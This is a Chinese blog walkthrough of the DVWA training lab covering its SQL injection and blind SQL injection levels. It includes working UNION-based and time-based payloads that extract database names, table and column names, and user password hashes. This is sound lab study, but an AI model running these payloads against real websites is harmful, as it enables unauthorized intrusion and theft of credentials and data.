渗透学习-靶场篇-dvwa靶场详细攻略(持续更新中-目前只更新sql注入部分)

提示:仅供进行学习使用,请勿做出非法的行为。如若由任何违法行为,将依据法律法规进行严惩!!!

文章目录

  • 前言
  • 一、dvwa的安装:
  • 二、sql注入关
    • 1.SQL Injection
      • low级别
      • medium级别
      • hight级别
    • 1.SQL Injection (Blind)
      • low
      • medium
      • high
  • 总结


前言

在完成基础学习后,现在开始正式的打dvwa的靶场。由于目前,主要只学习了sql注入,因此,对于dvwa靶场的攻略仅有sql注入的部分。


提示:以下是本篇文章正文内容,下面案例可供参考

一、dvwa的安装:

下载链接:https://dvwa.co.uk/

百度网盘:链接:https://pan.baidu.com/s/1qqHDqnmgn7Eq1Mb1dxZvyw
提取码:3vpq
–来自百度网盘超级会员V4的分享

将dvwa的压缩包解压到对应的网站目录下:
渗透学习-靶场篇-dvwa靶场详细攻略(持续更新中-目前只更新sql注入部分)_第1张图片
而后,打开dvwa的目录,找到config文件夹,点击进入,而后将config.inc.php.dist 重命名成config.inc.php,如下图:
渗透学习-靶场篇-dvwa靶场详细攻略(持续更新中-目前只更新sql注入部分)_第2张图片点击,打开config.inc.php文件夹,找到对应的用户与密码出,进行修改,如下图箭头指的两个位置就是要修改成自己数据库的root用户以及对应的密码:

渗透学习-靶场篇-dvwa靶场详细攻略(持续更新中-目前只更新sql注入部分)_第3张图片

然后,在网页中打开dvwa:

渗透学习-靶场篇-dvwa靶场详细攻略(持续更新中-目前只更新sql注入部分)_第4张图片点击下面的create database,再重新进入dvwa即可:

渗透学习-靶场篇-dvwa靶场详细攻略(持续更新中-目前只更新sql注入部分)_第5张图片
默认的账户密码:
username:admin
password:password
渗透学习-靶场篇-dvwa靶场详细攻略(持续更新中-目前只更新sql注入部分)_第6张图片 在下面的dvwa security 处有设置等级的地方!

二、sql注入关

1.SQL Injection

low级别

首先,先提交一次查询,查看查询时url的构造:
在这里插入图片描述那么,我们估计在id处应该是有注入点的:

测试闭合回路:

?id=1 or 1=1 --+&Submit=Submit#

页面正常,说明不是数字型:
渗透学习-靶场篇-dvwa靶场详细攻略(持续更新中-目前只更新sql注入部分)_第7张图片

?id=1' or 1=1 --+&Submit=Submit#

出现所有的数据,说明了闭合回路是’ ’
渗透学习-靶场篇-dvwa靶场详细攻略(持续更新中-目前只更新sql注入部分)_第8张图片
测试列数量:

?id=1' order by 3 --+&Submit=Submit#

渗透学习-靶场篇-dvwa靶场详细攻略(持续更新中-目前只更新sql注入部分)_第9张图片order by 2时页面正常,说明列数量为2.

拿库名、用户名:

?id=-1' union select database(),user() --+&Submit=Submit#

渗透学习-靶场篇-dvwa靶场详细攻略(持续更新中-目前只更新sql注入部分)_第10张图片我们看到了用户是root用户,因此有机会可以跨库攻击、以及上传webshell。

拿表:

这里出现了一些bug:Illegal mix of collations for operation ‘UNION’
在这里插入图片描述如果有这个问题的读者,请到:

?id=-1' union select group_concat(table_name),2 from information_schema.tables where table_schema='dvwa' --+&Submit=Submit#

渗透学习-靶场篇-dvwa靶场详细攻略(持续更新中-目前只更新sql注入部分)_第11张图片拿列:

?id=-1' union select group_concat(column_name),2 from information_schema.columns where table_name='users' --+&Submit=Submit#

渗透学习-靶场篇-dvwa靶场详细攻略(持续更新中-目前只更新sql注入部分)_第12张图片拿数据:

?id=-1' union select group_concat(user),group_concat(password) from dvwa.users --+&Submit=Submit#

在这里插入图片描述
这里就已经拿下了,密码是md5加密。在网上找平台解密一下就行了!!

medium级别

换成medium级别后,继续打开sql injection选项。点击提交user id 的按钮,发现url上并没有参数显现了:
渗透学习-靶场篇-dvwa靶场详细攻略(持续更新中-目前只更新sql注入部分)_第13张图片那么这里,猜测要么是改用了post进行提交数据,页面很可能是因为使用什么方法将提交的参数进行了隐藏,那么我们使用burp进行抓包看看:
渗透学习-靶场篇-dvwa靶场详细攻略(持续更新中-目前只更新sql注入部分)_第14张图片
好的,确实是改用了post进行提交的,那么接下来我们进行注入测试:

id=1+and+1=1+--+&Submit=Submit

id=1+and+1=2+--+&Submit=Submit

当输入上述payload的第一条时候,页面回显正常;第二条payload时候,页面回显失败,判定是数字型注入。

输入如下payload,可以判断出列数量(当然也可以用order by)

id=-1+union+select+1,2+--+&Submit=Submit

再之后就可以肆无忌惮的拿数据了:
提供一个payload,其余的看low级别中有详细的拿数据的payload,此处不再赘述:


id=-1+union+select+database(),user()+--+&Submit=Submit

渗透学习-靶场篇-dvwa靶场详细攻略(持续更新中-目前只更新sql注入部分)_第15张图片

hight级别

这一关,打开后,点击了那个查询按钮后,会弹出一个单独的页面框以供进行输入id进行查询:
渗透学习-靶场篇-dvwa靶场详细攻略(持续更新中-目前只更新sql注入部分)_第16张图片利用多一个页面,可以防止我们利用burp,抓取到post包后直接利用repeater模块进行攻击,因为,在我们提交玩这个包后,页面还会进行一次请求的,单单只用这个包是不太行的。

那么,我们直接在这个页面进行尝试:
输入如下payload:

1' or 1=1#

渗透学习-靶场篇-dvwa靶场详细攻略(持续更新中-目前只更新sql注入部分)_第17张图片说明闭合回路是’ ’ 且这里貌似是需要利用#进行闭合的,之前我一直用–+时一直不成功(各位读者可自行验证一下)

然后就可以结合low里的payload进行注入了:

 1' union select database(),user()#

渗透学习-靶场篇-dvwa靶场详细攻略(持续更新中-目前只更新sql注入部分)_第18张图片

1.SQL Injection (Blind)

low

首先,利用sleep与and来判断闭合回路:

?id=1' and sleep(5) --+

此时,发现,页面时间明显延长,说明这里存在着注入点,且闭合回路为 ’ ’

那么,这里开始构造payload:

?id=1' and  if(substr(database(),1,1)=='d' , null,sleep(2)) --+&Submit=Submit#

由此处的payload可以看出,当我们database的第一个字符等于d时是没有延迟的,等于其他字母时延迟明显加长!!说明数据库的名称的第一个字符是d。。。

以下可自行测试,利用substr的特性可以将所有数据都拿到手!以下再提供一个猜表的payload:

?id=1' and  if(substr((select group_concat(table_name) from information_schema.tables where table_schema='dvwa'),1,1)='g' , null,sleep(2)) --+&Submit=Submit#

medium

打开这一关,首先看到页面只允许自己选择id进行提交,于是我们利用burpsuite进行抓包看看:

渗透学习-靶场篇-dvwa靶场详细攻略(持续更新中-目前只更新sql注入部分)_第19张图片
这里,我们继续进一步的测试闭合回路:

id=1+and+sleep(5)--+&Submit=Submit

发现页面已经延迟回显了。判断这里是数字注入。。那么以下就直接在这个包里写入注入语句即可:
payload:

id=1+and+if(substr(database(),1,1)=='a',null,sleep(10))+--+&Submit=Submit

其余的具体注入语句可参考第一部分的low级别里语句。

high

同第一部分注入关卡一样,在弹出的页面里写入注入语句即可:

1' and sleep(10)#

渗透学习-靶场篇-dvwa靶场详细攻略(持续更新中-目前只更新sql注入部分)_第20张图片

至此,dvwa部分的注入已经全部完成了!!!


总结

你可能感兴趣的:(渗透学习,学习,sql,web安全)